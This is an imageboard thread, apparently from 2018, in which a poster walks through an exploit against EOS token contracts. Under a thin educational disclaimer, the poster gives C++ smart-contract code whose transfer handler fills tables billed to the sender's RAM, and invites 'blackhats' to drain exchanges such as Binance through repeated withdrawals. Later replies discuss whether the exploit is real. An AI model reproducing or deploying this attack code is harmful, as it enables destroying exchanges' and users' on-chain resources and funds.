DISCLAIMER: This is for educational purposes only...

DISCLAIMER: This is for educational purposes only. I am not responsible for anything that you choose to do with this information. I strongly recommend that you do not deploy a contract like this.

the eosio.token in EOS has an exploit where you can take user's ram and steal their resources. Exploit was discovered a little while ago but I just checked, and a tonne of exchanges (including binance) and dapps are still vulnerable to it.

im not going to do the exploit myself in case the feds catch me or some shit lol, but ill explain how it works, so if any other devs or blackhats want to have some fun and do it yourself, be my guest ;). Granted, you will probably have to be a little familiar with how eos smart contracts and the eos API works.

okay here is the original link explaining the exploit (right click, and click translate to english): mp.weixin.qq.com/s/OE7hxaXyrQ6Ssn-2c55GBA

here is how you can do it:

in a smart contract, there is an event listener function called "apply", it listens to any incoming events on the contract and then executes a handler. inside the handler you can reference other functions in your contract.

here is the apply function:
extern "C" {
/// The apply method implements the dispatch of events to this contract
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
if(action == N(transfer)) { //Here we make sure that the action is a `transfer` action from any contract that is or follows eosio.token standard
//Here is the handler for the event where we can put our exploit function
exploit_function(reciever);
}
}
}

before we go any further we have to include the currency.hpp file so that we can get a reference to the `transfer` struct and then get person who sent the action (it'll be more clear why we need this in a minute):
#include //This uses `currency` as a namespace.

Attached: Screen Shot 2018-08-19 at 03.16.42.png (914x1288, 823K)

Other urls found in this thread:

reddit.com/r/eos/comments/9akg1y/eosio_ram_exploit_please_read/
binance.com/en/trade/EOS_USDT
twitter.com/NSFWRedditVideo

okay now we have all of the user's permissions that let us write data on his/her behalf. Now we can have some fun.

lets define a table struct and a multi_index table so that you can store data that the user has given us permissions to do on behalf of them kek.
struct exploit_table {
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
}
typedef eosio::multi_index< N(exploittable), exploit_table > exploittable; //Multi_index table (name of the table cant have any snake_case or camelCase in it)

here is an example of an exploit function:
//We pass in `reciever` from the `apply` function which is a reference to our malicious contract
void exploit_function(self) {
auto data = unpack_action_data(); //Unpacking the transfer struct from the currency namespace that we got from icluding currency.hpp
account_name person_we_are_going_to_pwn = data.from;
exploittable get_rekt_scrub(self, self); //Initialise the table scoped to `self, self` (it doesnt matter really as long as the first parameter is `self`)
for(uint i = 0; i < 100; ++i) { //(make sure this for loop isnt too big or the action will through an error). Instead you can just call it multiple times.
get_rekt_scrub.emplace(person_we_are_going_to_pwn,[&](auto& table_ref){
table_ref.a = 100;
table_ref.b = 100;
table_ref.c = 100;
table_ref.d = 100;
});
}
}

Now you can make a Eos withdraw from an exchange or app to this contract. Everytime an exchange sends you their EOS, you will eat up their RAM. Make multiple withdraws and their resources will be drained. “””IF”””” Someone did this, they would basically burn all of the exchanges staked EOS. Which is probably millions of EOS or $10’s or even $100’s of millions worth of EOS that gets destroyed and never returned… Literally the DAO 2.0

heh code came out shit. Here is a picture of a full contract so you can read it better.

Attached: Screen Shot 2018-08-27 at 02.23.03.png (1854x1574, 389K)

wew lad. I literally showed you how you can destroy the eos network and burn all of the exchanges EOS funds and get no replies.

Meanwhile, threads like "tulip mania 2.0" get hundreds. fuck you biz. im out. Enjoy your bags.

Youll also need to define the types and actions in an ABI file but I cba to write one out, but here is the documentation for it: developers.eos.io

who are you talking to?

Very few people here on biz program, even fewer have experience with coding smart contracts, and almost no one here ever tried the EOS ones. So most don't even know how to start with the info you gave, and the fews who do are would try right away instead of replying.
But I do know the info is legit. Thanks for sharing.

Non programmer here. Is this legit? Are we going to witness EOS implode?

Yes, it's legit:
reddit.com/r/eos/comments/9akg1y/eosio_ram_exploit_please_read/

So is it fixed or are hackers going to take advantage of the exploit? I don’t have any EOS just curious

huh, it's sort of like the DAO reentrancy bug, except worse, because it appears to be unpatchable without fundamentally changing how EOS works.